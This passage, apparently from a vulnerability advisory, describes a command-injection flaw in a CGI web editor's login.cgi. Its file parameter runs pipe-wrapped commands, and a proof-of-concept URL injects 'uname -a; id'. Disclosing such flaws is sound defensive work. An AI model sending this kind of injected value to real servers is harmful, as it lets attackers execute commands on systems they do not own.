The above code doesn't properly open the file for reading, this allows a remote attacker to cause the program to open commands which it will execute. The vulnerability can be exploited by simply passing commands as the $file parameter, for example: login.cgi?username=&command=simple&do=edit&password=&file=|COMMAND|.
Proof of concept:
http://www.hostvuln.net/app/webeditor/login.cgi?username=& command=simple&do=edit&password=&file=|uname -a; id|
